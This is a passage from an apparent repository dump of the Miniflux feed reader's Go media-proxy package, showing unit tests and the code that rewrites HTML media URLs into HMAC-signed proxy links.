\"all\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"image\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\tos.Setenv(\"BASE_URL\", \"http://example.org:88/folder/\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><img src=\"https://website/folder/image.png\" alt=\"Test\"/></p>`\n\toutput := RewriteDocumentWithAbsoluteProxyURL(input)\n\texpected := `<p><img src=\"http://example.org:88/folder/proxy/LdPNR1GBDigeeNp2ArUQRyZsVqT_PWLfHGjYFrrWWIY=/aHR0cHM6Ly93ZWJzaXRlL2ZvbGRlci9pbWFnZS5wbmc=\" alt=\"Test\"/></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithAbsoluteProxyURL_BasePath_All_Audio(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"all\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"audio\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\tos.Setenv(\"BASE_URL\", \"http://example.org:88/folder/\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><audio src=\"https://website/folder/audio.mp3\"></audio></p>`\n\toutput := RewriteDocumentWithAbsoluteProxyURL(input)\n\texpected := `<p><audio src=\"http://example.org:88/folder/proxy/EmBTvmU5B17wGuONkeknkptYopW_Tl6Y6_W8oYbN_Xs=/aHR0cHM6Ly93ZWJzaXRlL2ZvbGRlci9hdWRpby5tcDM=\"></audio></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithAbsoluteProxyURL_BasePath_All_Video(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"all\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"video\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\tos.Setenv(\"BASE_URL\", \"http://example.org:88/folder/\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><video src=\"https://website/folder/video.mp4\"></video></p>`\n\toutput := RewriteDocumentWithAbsoluteProxyURL(input)\n\texpected := `<p><video src=\"http://example.org:88/folder/proxy/rg7VlAFvCFDe4kxg3YJRgtty6AblMwBVGXsn0WWl89k=/aHR0cHM6Ly93ZWJzaXRlL2ZvbGRlci92aWRlby5tcDQ=\"></video></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithAbsoluteProxyURL_BasePath_All_VideoPoster(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"all\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"video\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\tos.Setenv(\"BASE_URL\", \"http://example.org:88/folder/\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><video src=\"https://website/folder/video.mp4\" poster=\"https://website/folder/poster.png\"></video></p>`\n\toutput := RewriteDocumentWithAbsoluteProxyURL(input)\n\texpected := `<p><video src=\"http://example.org:88/folder/proxy/rg7VlAFvCFDe4kxg3YJRgtty6AblMwBVGXsn0WWl89k=/aHR0cHM6Ly93ZWJzaXRlL2ZvbGRlci92aWRlby5tcDQ=\" poster=\"http://example.org:88/folder/proxy/u-yLZEYDELx9OlU9to8bt13iysttOWfYpqRfmQYkm3U=/aHR0cHM6Ly93ZWJzaXRlL2ZvbGRlci9wb3N0ZXIucG5n\"></video></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithRelativeProxyURL_CustomMediaProxy_All_Image(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"all\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"image\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\tos.Setenv(\"MEDIA_PROXY_CUSTOM_URL\", \"https://proxy-example/proxy\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><img src=\"https://website/folder/image.png\" alt=\"Test\"/></p>`\n\toutput := RewriteDocumentWithRelativeProxyURL(input)\n\texpected := `<p><img src=\"https://proxy-example/proxy/aHR0cHM6Ly93ZWJzaXRlL2ZvbGRlci9pbWFnZS5wbmc=\" alt=\"Test\"/></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestRewriteDocumentWithAbsoluteProxyURL_CustomMediaProxy_All_Image(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"all\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"image\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\tos.Setenv(\"MEDIA_PROXY_CUSTOM_URL\", \"https://proxy-example/proxy\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><img src=\"https://website/folder/image.png\" alt=\"Test\"/></p>`\n\toutput := RewriteDocumentWithAbsoluteProxyURL(input)\n\texpected := `<p><img src=\"https://proxy-example/proxy/aHR0cHM6Ly93ZWJzaXRlL2ZvbGRlci9pbWFnZS5wbmc=\" alt=\"Test\"/></p>`\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %q instead of %q`, output, expected)\n\t}\n}\n\nfunc TestMediaProxyWithIncorrectCustomMediaProxy(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"all\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"image\")\n\tos.Setenv(\"MEDIA_PROXY_CUSTOM_URL\", \"http://:8080example.com\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err == nil {\n\t\tt.Fatalf(`Incorrect proxy URL silently accepted (MEDIA_PROXY_CUSTOM_URL=%q): %q`, os.Getenv(\"MEDIA_PROXY_CUSTOM_URL\"), config.Opts.MediaCustomProxyURL())\n\t}\n}\n\nfunc TestMediaProxyFilterWithImageSrcset(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"all\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"image\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><img src=\"http://website/folder/image.png\" srcset=\"http://website/folder/image2.png 656w, http://website/folder/image3.png 360w\" alt=\"test\"></p>`\n\texpected := `<p><img src=\"/proxy/okK5PsdNY8F082UMQEAbLPeUFfbe2WnNfInNmR9T4WA=/aHR0cDovL3dlYnNpdGUvZm9sZGVyL2ltYWdlLnBuZw==\" srcset=\"/proxy/aY5Hb4urDnUCly2vTJ7ExQeeaVS-52O7kjUr2v9VrAs=/aHR0cDovL3dlYnNpdGUvZm9sZGVyL2ltYWdlMi5wbmc= 656w, /proxy/QgAmrJWiAud_nNAsz3F8OTxaIofwAiO36EDzH_YfMzo=/aHR0cDovL3dlYnNpdGUvZm9sZGVyL2ltYWdlMy5wbmc= 360w\" alt=\"test\"/></p>`\n\toutput := RewriteDocumentWithRelativeProxyURL(input)\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %s`, output)\n\t}\n}\n\nfunc TestMediaProxyFilterWithEmptySrcset(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"all\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"image\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Parsing failure: %v`, err)\n\t}\n\n\tinput := `<p><img src=\"http://website/folder/image.png\" srcset=\"\" alt=\"test\"></p>`\n\texpected := `<p><img src=\"/proxy/okK5PsdNY8F082UMQEAbLPeUFfbe2WnNfInNmR9T4WA=/aHR0cDovL3dlYnNpdGUvZm9sZGVyL2ltYWdlLnBuZw==\" srcset=\"\" alt=\"test\"/></p>`\n\toutput := RewriteDocumentWithRelativeProxyURL(input)\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %s`, output)\n\t}\n}\n\nfunc TestProxyFilterWithPictureSource(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"all\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"image\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Parsing failure: %v`, err)\n\t}\n\n\tinput := `<picture><source srcset=\"http://website/folder/image2.png 656w,   http://website/folder/image3.png 360w, https://website/some,image.png 2x\"></picture>`\n\texpected := `<picture><source srcset=\"/proxy/aY5Hb4urDnUCly2vTJ7ExQeeaVS-52O7kjUr2v9VrAs=/aHR0cDovL3dlYnNpdGUvZm9sZGVyL2ltYWdlMi5wbmc= 656w, /proxy/QgAmrJWiAud_nNAsz3F8OTxaIofwAiO36EDzH_YfMzo=/aHR0cDovL3dlYnNpdGUvZm9sZGVyL2ltYWdlMy5wbmc= 360w, /proxy/ZIw0hv8WhSTls5aSqhnFaCXlUrKIqTnBRaY0-NaLnds=/aHR0cHM6Ly93ZWJzaXRlL3NvbWUsaW1hZ2UucG5n 2x\"/></picture>`\n\toutput := RewriteDocumentWithRelativeProxyURL(input)\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %s`, output)\n\t}\n}\n\nfunc TestProxyFilterOnlyNonHTTPWithPictureSource(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"http-only\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"image\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Parsing failure: %v`, err)\n\t}\n\n\tinput := `<picture><source srcset=\"http://website/folder/image2.png 656w, https://website/some,image.png 2x\"></picture>`\n\texpected := `<picture><source srcset=\"/proxy/aY5Hb4urDnUCly2vTJ7ExQeeaVS-52O7kjUr2v9VrAs=/aHR0cDovL3dlYnNpdGUvZm9sZGVyL2ltYWdlMi5wbmc= 656w, https://website/some,image.png 2x\"/></picture>`\n\toutput := RewriteDocumentWithRelativeProxyURL(input)\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %s`, output)\n\t}\n}\n\nfunc TestMediaProxyWithImageDataURL(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"all\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"image\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Parsing failure: %v`, err)\n\t}\n\n\tinput := `<img src=\"data:image/gif;base64,test\">`\n\texpected := `<img src=\"data:image/gif;base64,test\"/>`\n\toutput := RewriteDocumentWithRelativeProxyURL(input)\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %s`, output)\n\t}\n}\n\nfunc TestMediaProxyWithImageSourceDataURL(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"MEDIA_PROXY_MODE\", \"all\")\n\tos.Setenv(\"MEDIA_PROXY_RESOURCE_TYPES\", \"image\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Parsing failure: %v`, err)\n\t}\n\n\tinput := `<picture><source srcset=\"data:image/gif;base64,test\"/></picture>`\n\texpected := `<picture><source srcset=\"data:image/gif;base64,test\"/></picture>`\n\toutput := RewriteDocumentWithRelativeProxyURL(input)\n\n\tif expected != output {\n\t\tt.Errorf(`Not expected output: got %s`, output)\n\t}\n}\n\nfunc TestShouldProxifyURLWithMimeType(t *testing.T) {\n\ttestCases := []struct {\n\t\tname                    string\n\t\tmediaURL                string\n\t\tmediaMimeType           string\n\t\tmediaProxyOption        string\n\t\tmediaProxyResourceTypes []string\n\t\texpected                bool\n\t}{\n\t\t{\n\t\t\tname:                    \"Empty URL should not be proxified\",\n\t\t\tmediaURL:                \"\",\n\t\t\tmediaMimeType:           \"image/jpeg\",\n\t\t\tmediaProxyOption:        \"all\",\n\t\t\tmediaProxyResourceTypes: []string{\"image\"},\n\t\t\texpected:                false,\n\t\t},\n\t\t{\n\t\t\tname:                    \"Data URL should not be proxified\",\n\t\t\tmediaURL:                \"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8/5+hHgAHggJ/PchI7wAAAABJRU5ErkJggg==\",\n\t\t\tmediaMimeType:           \"image/png\",\n\t\t\tmediaProxyOption:        \"all\",\n\t\t\tmediaProxyResourceTypes: []string{\"image\"},\n\t\t\texpected:                false,\n\t\t},\n\t\t{\n\t\t\tname:                    \"HTTP URL with all mode and matching MIME type should be proxified\",\n\t\t\tmediaURL:                \"http://example.com/image.jpg\",\n\t\t\tmediaMimeType:           \"image/jpeg\",\n\t\t\tmediaProxyOption:        \"all\",\n\t\t\tmediaProxyResourceTypes: []string{\"image\"},\n\t\t\texpected:                true,\n\t\t},\n\t\t{\n\t\t\tname:                    \"HTTPS URL with all mode and matching MIME type should be proxified\",\n\t\t\tmediaURL:                \"https://example.com/image.jpg\",\n\t\t\tmediaMimeType:           \"image/jpeg\",\n\t\t\tmediaProxyOption:        \"all\",\n\t\t\tmediaProxyResourceTypes: []string{\"image\"},\n\t\t\texpected:                true,\n\t\t},\n\t\t{\n\t\t\tname:                    \"HTTP URL with http-only mode and matching MIME type should be proxified\",\n\t\t\tmediaURL:                \"http://example.com/image.jpg\",\n\t\t\tmediaMimeType:           \"image/jpeg\",\n\t\t\tmediaProxyOption:        \"http-only\",\n\t\t\tmediaProxyResourceTypes: []string{\"image\"},\n\t\t\texpected:                true,\n\t\t},\n\t\t{\n\t\t\tname:                    \"HTTPS URL with http-only mode should not be proxified\",\n\t\t\tmediaURL:                \"https://example.com/image.jpg\",\n\t\t\tmediaMimeType:           \"image/jpeg\",\n\t\t\tmediaProxyOption:        \"http-only\",\n\t\t\tmediaProxyResourceTypes: []string{\"image\"},\n\t\t\texpected:                false,\n\t\t},\n\t\t{\n\t\t\tname:                    \"URL with none mode should not be proxified\",\n\t\t\tmediaURL:                \"http://example.com/image.jpg\",\n\t\t\tmediaMimeType:           \"image/jpeg\",\n\t\t\tmediaProxyOption:        \"none\",\n\t\t\tmediaProxyResourceTypes: []string{\"image\"},\n\t\t\texpected:                false,\n\t\t},\n\t\t{\n\t\t\tname:                    \"URL with matching MIME type should be proxified\",\n\t\t\tmediaURL:                \"http://example.com/video.mp4\",\n\t\t\tmediaMimeType:           \"video/mp4\",\n\t\t\tmediaProxyOption:        \"all\",\n\t\t\tmediaProxyResourceTypes: []string{\"video\"},\n\t\t\texpected:                true,\n\t\t},\n\t\t{\n\t\t\tname:                    \"URL with non-matching MIME type should not be proxified\",\n\t\t\tmediaURL:                \"http://example.com/video.mp4\",\n\t\t\tmediaMimeType:           \"video/mp4\",\n\t\t\tmediaProxyOption:        \"all\",\n\t\t\tmediaProxyResourceTypes: []string{\"image\"},\n\t\t\texpected:                false,\n\t\t},\n\t\t{\n\t\t\tname:                    \"URL with multiple resource types and matching MIME type should be proxified\",\n\t\t\tmediaURL:                \"http://example.com/audio.mp3\",\n\t\t\tmediaMimeType:           \"audio/mp3\",\n\t\t\tmediaProxyOption:        \"all\",\n\t\t\tmediaProxyResourceTypes: []string{\"image\", \"audio\", \"video\"},\n\t\t\texpected:                true,\n\t\t},\n\t\t{\n\t\t\tname:                    \"URL with multiple resource types but non-matching MIME type should not be proxified\",\n\t\t\tmediaURL:                \"http://example.com/document.pdf\",\n\t\t\tmediaMimeType:           \"application/pdf\",\n\t\t\tmediaProxyOption:        \"all\",\n\t\t\tmediaProxyResourceTypes: []string{\"image\", \"audio\", \"video\"},\n\t\t\texpected:                false,\n\t\t},\n\t\t{\n\t\t\tname:                    \"URL with empty resource types should not be proxified\",\n\t\t\tmediaURL:                \"http://example.com/image.jpg\",\n\t\t\tmediaMimeType:           \"image/jpeg\",\n\t\t\tmediaProxyOption:        \"all\",\n\t\t\tmediaProxyResourceTypes: []string{},\n\t\t\texpected:                false,\n\t\t},\n\t\t{\n\t\t\tname:                    \"Relative URL should not be proxified\",\n\t\t\tmediaURL:                \"/image.jpg\",\n\t\t\tmediaMimeType:           \"image/jpeg\",\n\t\t\tmediaProxyOption:        \"all\",\n\t\t\tmediaProxyResourceTypes: []string{\"image\"},\n\t\t\texpected:                false,\n\t\t},\n\t\t{\n\t\t\tname:                    \"Protocol-relative URL should not be proxified\",\n\t\t\tmediaURL:                \"//cdn.example.com/image.jpg\",\n\t\t\tmediaMimeType:           \"image/jpeg\",\n\t\t\tmediaProxyOption:        \"all\",\n\t\t\tmediaProxyResourceTypes: []string{\"image\"},\n\t\t\texpected:                false,\n\t\t},\n\t\t{\n\t\t\tname:                    \"Unsupported scheme should not be proxified\",\n\t\t\tmediaURL:                \"ftp://example.com/image.jpg\",\n\t\t\tmediaMimeType:           \"image/jpeg\",\n\t\t\tmediaProxyOption:        \"all\",\n\t\t\tmediaProxyResourceTypes: []string{\"image\"},\n\t\t\texpected:                false,\n\t\t},\n\t\t{\n\t\t\tname:                    \"Blob URL should not be proxified\",\n\t\t\tmediaURL:                \"blob:https://example.com/123\",\n\t\t\tmediaMimeType:           \"image/jpeg\",\n\t\t\tmediaProxyOption:        \"all\",\n\t\t\tmediaProxyResourceTypes: []string{\"image\"},\n\t\t\texpected:                false,\n\t\t},\n\t\t{\n\t\t\tname:                    \"URL with partial MIME type match should be proxified\",\n\t\t\tmediaURL:                \"http://example.com/image.jpg\",\n\t\t\tmediaMimeType:           \"image/jpeg\",\n\t\t\tmediaProxyOption:        \"all\",\n\t\t\tmediaProxyResourceTypes: []string{\"image\"},\n\t\t\texpected:                true,\n\t\t},\n\t\t{\n\t\t\tname:                    \"URL with uppercase MIME type should be proxified\",\n\t\t\tmediaURL:                \"http://example.com/image.jpg\",\n\t\t\tmediaMimeType:           \"Image/JPEG\",\n\t\t\tmediaProxyOption:        \"all\",\n\t\t\tmediaProxyResourceTypes: []string{\"image\"},\n\t\t\texpected:                true,\n\t\t},\n\t\t{\n\t\t\tname:                    \"URL with audio MIME type and audio resource type should be proxified\",\n\t\t\tmediaURL:                \"http://example.com/song.ogg\",\n\t\t\tmediaMimeType:           \"audio/ogg\",\n\t\t\tmediaProxyOption:        \"all\",\n\t\t\tmediaProxyResourceTypes: []string{\"audio\"},\n\t\t\texpected:                true,\n\t\t},\n\t\t{\n\t\t\tname:                    \"URL with mixed-case audio MIME type should be proxified\",\n\t\t\tmediaURL:                \"http://example.com/song.ogg\",\n\t\t\tmediaMimeType:           \"AuDiO/Ogg\",\n\t\t\tmediaProxyOption:        \"all\",\n\t\t\tmediaProxyResourceTypes: []string{\"audio\"},\n\t\t\texpected:                true,\n\t\t},\n\t\t{\n\t\t\tname:                    \"URL with video MIME type and video resource type should be proxified\",\n\t\t\tmediaURL:                \"http://example.com/movie.webm\",\n\t\t\tmediaMimeType:           \"video/webm\",\n\t\t\tmediaProxyOption:        \"all\",\n\t\t\tmediaProxyResourceTypes: []string{\"video\"},\n\t\t\texpected:                true,\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tresult := ShouldProxifyURLWithMimeType(tc.mediaURL, tc.mediaMimeType, tc.mediaProxyOption, tc.mediaProxyResourceTypes)\n\t\t\tif result != tc.expected {\n\t\t\t\tt.Errorf(\"Expected %v, got %v for URL: %s, MIME type: %s, proxy option: %s, resource types: %v\",\n\t\t\t\t\ttc.expected, result, tc.mediaURL, tc.mediaMimeType, tc.mediaProxyOption, tc.mediaProxyResourceTypes)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "internal/mediaproxy/rewriter.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage mediaproxy // import \"miniflux.app/v2/internal/mediaproxy\"\n\nimport (\n\t\"net/url\"\n\t\"slices\"\n\t\"strings\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/reader/sanitizer\"\n\n\t\"github.com/PuerkitoBio/goquery\"\n)\n\ntype urlProxyRewriter func(url string) string\n\nfunc RewriteDocumentWithRelativeProxyURL(htmlDocument string) string {\n\treturn genericProxyRewriter(ProxifyRelativeURL, htmlDocument)\n}\n\nfunc RewriteDocumentWithAbsoluteProxyURL(htmlDocument string) string {\n\treturn genericProxyRewriter(ProxifyAbsoluteURL, htmlDocument)\n}\n\nfunc genericProxyRewriter(proxifyFunction urlProxyRewriter, htmlDocument string) string {\n\tproxyOption := config.Opts.MediaProxyMode()\n\tif proxyOption == \"none\" {\n\t\treturn htmlDocument\n\t}\n\n\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(htmlDocument))\n\tif err != nil {\n\t\treturn htmlDocument\n\t}\n\n\tfor _, mediaType := range config.Opts.MediaProxyResourceTypes() {\n\t\tswitch mediaType {\n\t\tcase \"image\":\n\t\t\tdoc.Find(\"img, picture source\").Each(func(i int, img *goquery.Selection) {\n\t\t\t\tif srcAttrValue, ok := img.Attr(\"src\"); ok {\n\t\t\t\t\tif shouldProxifyURL(srcAttrValue, proxyOption) {\n\t\t\t\t\t\timg.SetAttr(\"src\", proxifyFunction(srcAttrValue))\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif srcsetAttrValue, ok := img.Attr(\"srcset\"); ok {\n\t\t\t\t\tproxifySourceSet(img, proxifyFunction, proxyOption, srcsetAttrValue)\n\t\t\t\t}\n\t\t\t})\n\n\t\t\tif !slices.Contains(config.Opts.MediaProxyResourceTypes(), \"video\") {\n\t\t\t\tdoc.Find(\"video\").Each(func(i int, video *goquery.Selection) {\n\t\t\t\t\tif posterAttrValue, ok := video.Attr(\"poster\"); ok {\n\t\t\t\t\t\tif shouldProxifyURL(posterAttrValue, proxyOption) {\n\t\t\t\t\t\t\tvideo.SetAttr(\"poster\", proxifyFunction(posterAttrValue))\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t})\n\t\t\t}\n\n\t\tcase \"audio\":\n\t\t\tdoc.Find(\"audio, audio source\").Each(func(i int, audio *goquery.Selection) {\n\t\t\t\tif srcAttrValue, ok := audio.Attr(\"src\"); ok {\n\t\t\t\t\tif shouldProxifyURL(srcAttrValue, proxyOption) {\n\t\t\t\t\t\taudio.SetAttr(\"src\", proxifyFunction(srcAttrValue))\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t})\n\n\t\tcase \"video\":\n\t\t\tdoc.Find(\"video, video source\").Each(func(i int, video *goquery.Selection) {\n\t\t\t\tif srcAttrValue, ok := video.Attr(\"src\"); ok {\n\t\t\t\t\tif shouldProxifyURL(srcAttrValue, proxyOption) {\n\t\t\t\t\t\tvideo.SetAttr(\"src\", proxifyFunction(srcAttrValue))\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif posterAttrValue, ok := video.Attr(\"poster\"); ok {\n\t\t\t\t\tif shouldProxifyURL(posterAttrValue, proxyOption) {\n\t\t\t\t\t\tvideo.SetAttr(\"poster\", proxifyFunction(posterAttrValue))\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t})\n\t\t}\n\t}\n\n\toutput, err := doc.FindMatcher(goquery.Single(\"body\")).Html()\n\tif err != nil {\n\t\treturn htmlDocument\n\t}\n\n\treturn output\n}\n\nfunc proxifySourceSet(element *goquery.Selection, proxifyFunction urlProxyRewriter, proxyOption, srcsetAttrValue string) {\n\timageCandidates := sanitizer.ParseSrcSetAttribute(srcsetAttrValue)\n\n\tfor _, imageCandidate := range imageCandidates {\n\t\tif shouldProxifyURL(imageCandidate.ImageURL, proxyOption) {\n\t\t\timageCandidate.ImageURL = proxifyFunction(imageCandidate.ImageURL)\n\t\t}\n\t}\n\n\telement.SetAttr(\"srcset\", imageCandidates.String())\n}\n\n// shouldProxifyURL checks if the media URL should be proxified based on the media proxy option and URL scheme.\nfunc shouldProxifyURL(mediaURL, mediaProxyOption string) bool {\n\tparsedURL, err := url.Parse(mediaURL)\n\tif err != nil || !parsedURL.IsAbs() || parsedURL.Host == \"\" {\n\t\treturn false\n\t}\n\n\tswitch {\n\tcase mediaProxyOption == \"all\" && (strings.EqualFold(parsedURL.Scheme, \"http\") || strings.EqualFold(parsedURL.Scheme, \"https\")):\n\t\treturn true\n\tcase mediaProxyOption != \"none\" && strings.EqualFold(parsedURL.Scheme, \"http\"):\n\t\treturn true\n\tdefault:\n\t\treturn false\n\t}\n}\n\n// ShouldProxifyURLWithMimeType checks if the media URL should be proxified based on the media proxy option, URL scheme, and MIME type.\nfunc ShouldProxifyURLWithMimeType(mediaURL, mediaMimeType, mediaProxyOption string, mediaProxyResourceTypes []string) bool {\n\tif !shouldProxifyURL(mediaURL, mediaProxyOption) {\n\t\treturn false\n\t}\n\n\tmediaMimeType = strings.ToLower(mediaMimeType)\n\n\tfor _, mediaType := range mediaProxyResourceTypes {\n\t\tif strings.HasPrefix(mediaMimeType, mediaType+\"/\") {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}\n"
  },
  {
    "path": "internal/mediaproxy/url.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage mediaproxy // import \"miniflux.app/v2/internal/mediaproxy\"\n\nimport (\n\t\"crypto/hmac\"\n\t\"crypto/sha256\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"net/url\"\n\n\t\"miniflux.app/v2/internal/config\"\n)\n\nfunc ProxifyRelativeURL(mediaURL string) string {\n\tif mediaURL == \"\" {\n\t\treturn \"\"\n\t}\n\n\tif customProxyURL := config.Opts.MediaCustomProxyURL(); customProxyURL != nil {\n\t\treturn proxifyURLWithCustomProxy(mediaURL, customProxyURL)\n\t}\n\n\tmediaURLBytes := []byte(mediaURL)\n\n\tmac := hmac.New(sha256.New, config.Opts.MediaProxyPrivateKey())\n\tmac.Write(mediaURLBytes)\n\tdigest := mac.Sum(nil)\n\n\t// Preserve the configured base path so proxied URLs still work when Miniflux is served from a subfolder.\n\treturn fmt.Sprintf(\"%s/proxy/%s/%s\", config.Opts.BasePath(), base64.URLEncoding.EncodeToString(digest), base64.URLEncoding.EncodeToString(mediaURLBytes))\n}\n\nfunc ProxifyAbsoluteURL(mediaURL string) string {\n\tif mediaURL == \"\" {\n\t\treturn \"\"\n\t}\n\n\tif customProxyURL := config.Opts.MediaCustomProxyURL(); customProxyURL != nil {\n\t\treturn proxifyURLWithCustomProxy(mediaURL, customProxyURL)\n\t}\n\n\t// Note that the proxyified URL is relative to the root URL.\n\tproxifiedUrl := ProxifyRelativeURL(mediaURL)\n\tabsoluteURL, err := url.JoinPath(config.Opts.RootURL(), proxifiedUrl)\n\tif err != nil {\n\t\treturn mediaURL\n\t}\n\n\treturn absoluteURL\n}\n\nfunc proxifyURLWithCustomProxy(mediaURL string, customProxyURL *url.URL) string {\n\tif customProxyURL == nil {\n\t\treturn mediaURL\n\t}\n\n\tabsoluteURL := customProxyURL.JoinPath(base64.URLEncoding.EncodeToString([]byte(mediaURL)))\n\treturn absoluteURL.String()\n}\n"
  },
  {
    "path": "internal/metric/metric.go",
